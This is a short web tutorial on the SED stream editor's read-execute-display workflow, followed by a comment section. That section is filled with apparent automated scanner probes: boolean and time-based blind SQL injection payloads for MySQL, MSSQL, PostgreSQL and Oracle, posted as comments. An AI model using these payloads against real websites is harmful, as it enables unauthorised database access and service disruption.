Stream Editor - Workflow


If you want to become an expert in SED, then you should know about SED internal. Read, execute, and display is a simple workflow for SED.

Read:Read a line from the input stream and stores in its internal buffer.
Execute:Execute SED command on a line.
Display:Display result on output stream.

Note:The above process repeats until the file is exhausted.

Examples

Let us create a text file lfc.txt to include a quote by Letsfindcourse.

$ vi lfc.txt 
Questioning is the beginning of intelligence.
- Letsfindcourse

To understand the workflow of Stream Editor let us display the contents of the file lfc.txt using SED.

$ sed '' lfc.txt

It will produce the following result.

Questioning is the beginning of intelligence.

There is a pair of single quotes preceding the input file name which implies the SED command. First SED reads a line from the text file and inserts it into the pattern buffer, then the SED command is applied to the pattern buffer. There is no such SED command so no operation is performed on the pattern buffer. Typically it prints the contents of the pattern buffer at standard output.


Note:-

Few points to note:

1. Pattern buffer is a private, in-memory, volatile storage area used by the SED.
2. If address range is not provided by default, then SED operates on each line.
3. If no input files are provided, then SED accepts input from the standard input stream.
4. Initially both pattern and hold buffers are empty.





Visit :


Discussion



* You must be logged in to add comment.

pHqghUme
555

pHqghUme
555

pHqghUme
555

pHqghUme
-1 OR 2+179-179-1=0+0+0+1 --

pHqghUme
-1 OR 3+179-179-1=0+0+0+1 --

pHqghUme
-1 OR 3*2<(0+5+179-179) --

pHqghUme
-1 OR 3*2>(0+5+179-179) --

pHqghUme
-1 OR 2+828-828-1=0+0+0+1

pHqghUme
-1 OR 3+828-828-1=0+0+0+1

pHqghUme
-1 OR 3*2<(0+5+828-828)

pHqghUme
-1 OR 3*2>(0+5+828-828)

pHqghUme
-1' OR 2+674-674-1=0+0+0+1 --

pHqghUme
-1' OR 3+674-674-1=0+0+0+1 --

pHqghUme
-1' OR 3*2<(0+5+674-674) --

pHqghUme
-1' OR 3*2>(0+5+674-674) --

pHqghUme
-1' OR 2+805-805-1=0+0+0+1 or 'Cs8GrMhW'='

pHqghUme
-1' OR 3+805-805-1=0+0+0+1 or 'Cs8GrMhW'='

pHqghUme
-1' OR 3*2<(0+5+805-805) or 'Cs8GrMhW'='

pHqghUme
-1' OR 3*2>(0+5+805-805) or 'Cs8GrMhW'='

pHqghUme
-1" OR 2+514-514-1=0+0+0+1 --

pHqghUme
-1" OR 3+514-514-1=0+0+0+1 --

pHqghUme
-1" OR 3*2<(0+5+514-514) --

pHqghUme
-1" OR 3*2>(0+5+514-514) --

pHqghUme
if(now()=sysdate(),sleep(15),0)

pHqghUme
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

pHqghUme
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

pHqghUme
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

pHqghUme
-1; waitfor delay '0:0:15' --

pHqghUme
-1); waitfor delay '0:0:15' --

pHqghUme
1 waitfor delay '0:0:15' --

pHqghUme
vavEpKOL'; waitfor delay '0:0:15' --

pHqghUme
-5 OR 963=(SELECT 963 FROM PG_SLEEP(15))--

pHqghUme
-5) OR 727=(SELECT 727 FROM PG_SLEEP(15))--

pHqghUme
-1)) OR 686=(SELECT 686 FROM PG_SLEEP(15))--

pHqghUme
A2tzewS2' OR 388=(SELECT 388 FROM PG_SLEEP(15))--

pHqghUme
NrzgYKrK') OR 260=(SELECT 260 FROM PG_SLEEP(15))--

pHqghUme
OQHunRhh')) OR 141=(SELECT 141 FROM PG_SLEEP(15))--

pHqghUme
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

pHqghUme
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

pHqghUme
1'"

pHqghUme

pHqghUme
@@Zf2xw

pHqghUme
555

pHqghUme
555

pHqghUme
555